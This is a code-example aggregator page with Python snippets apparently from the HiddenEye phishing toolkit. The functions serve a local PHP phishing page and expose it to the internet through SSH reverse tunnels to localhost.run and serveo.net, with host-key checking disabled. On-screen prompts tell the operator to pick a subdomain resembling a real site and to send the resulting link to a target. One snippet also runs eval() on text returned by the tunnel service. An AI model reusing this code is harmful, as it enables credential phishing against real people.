Exemplo n.º 1
0
def start_localhostrun(port):
    print(global_localization.hidden_eye_logo)
    print(global_localization.official_website_link)
    print(global_localization.by_darksec)
    print(global_localization.line_of_dots)
    run_background_command(
        [
            "ssh",
            "-o",
            "StrictHostKeyChecking=no",
            "-o",
            "ServerAliveInterval=60",
            "-R",
            "80:localhost:{0}".format(port),
            "ssh.localhost.run",
        ],
        stdout=open('link.url', 'w'),
        stdin=DEVNULL,
        stderr=DEVNULL,
        start_new_session=True,
    )
    wait(10)
    lines = check_output(['cat', 'link.url']).decode().split('\n')
    url = 'http://' + eval(lines[1])['domain']
    print(localization.lang_start_localhostrun["localhostrun_server"])
    print(localization.lang_start_localhostrun["send_this_url_suggestion"])
    print(localization.lang_start_localhost["localhost_url"] + "127.0.0.1:" +
          port)
    print(localization.lang_start_localhostrun["localhostrun_url"] + url)
Exemplo n.º 2
0
def set_php(host="127.0.0.1", port=80):
    run_command(["killall", "-2", "php"], stdout=DEVNULL, stderr=DEVNULL)
    run_background_command(
        ["php", "-S", "{0}:{1}".format(host, port), "-t", "Server/www"],
        stdout=DEVNULL,
        stderr=DEVNULL,
    )
Exemplo n.º 3
0
    def custom(port):
        print(global_localization.hidden_eye_logo)
        print(global_localization.official_website_link)
        print(global_localization.by_darksec)
        print(global_localization.line_of_dots)
        print(localization.lang_start_serveo["serveo_custom_server"])
        print(localization.
              lang_start_serveo["make_url_simmilar_to_real_suggestion"])
        print(localization.lang_start_serveo["insert_custom_subdomain"])
        lnk = input(global_localization.input_line)
        run_background_command(
            [
                "ssh",
                "-o",
                "StrictHostKeyChecking=no",
                "-o",
                "ServerAliveInterval=60",
                "-o",
                "ServerAliveCountMax=60",
                "-R",
                "{0}:80:localhost:{1}".format(lnk, port),
                "serveo.net",
                ">",
                "link.url",
            ],
            stdout=DEVNULL,
            stderr=DEVNULL,
        )
        lnk += ".serveousercontent.com"
        wait(7)
        try:
            run_command("clear")
            print(global_localization.hidden_eye_logo)
            print(global_localization.official_website_link)
            print(global_localization.by_darksec)
            print(global_localization.line_of_dots)
            print(localization.lang_start_serveo["serveo_custom_server"])
            print(localization.lang_start_serveo["send_this_url_suggestion"])
            print(localization.lang_start_localhost["localhost_url"] +
                  "127.0.0.1:" + port)
            print(localization.lang_start_serveo["serveo_url"] + lnk +
                  default_palette[4])

            print("\n")

        except CalledProcessError:
            print(localization.lang_start_serveo["failed_to_get_domain"])
            print(localization.lang_start_serveo["suggestion_to_fix_issue"])
            print(localization.
                  lang_start_serveo["you_can_try_to_select_other_domain"])
            wait(4)
            run_command("clear")
            return custom(port)
Exemplo n.º 4
0
def set_port(port=80):
    run_background_command(["fuser", "-k", "{0}/tcp".format(port)],
                           stdout=DEVNULL,
                           stderr=DEVNULL)
Exemplo n.º 5
0
def set_php(host='127.0.0.1', port=80):
    run_command(['killall', '-2', 'php'], stdout=DEVNULL, stderr=DEVNULL)
    run_background_command(
        ["php", "-S", "{0}:{1}".format(host, port), "-t", "Server/www"],
        stdout=DEVNULL,
        stderr=DEVNULL)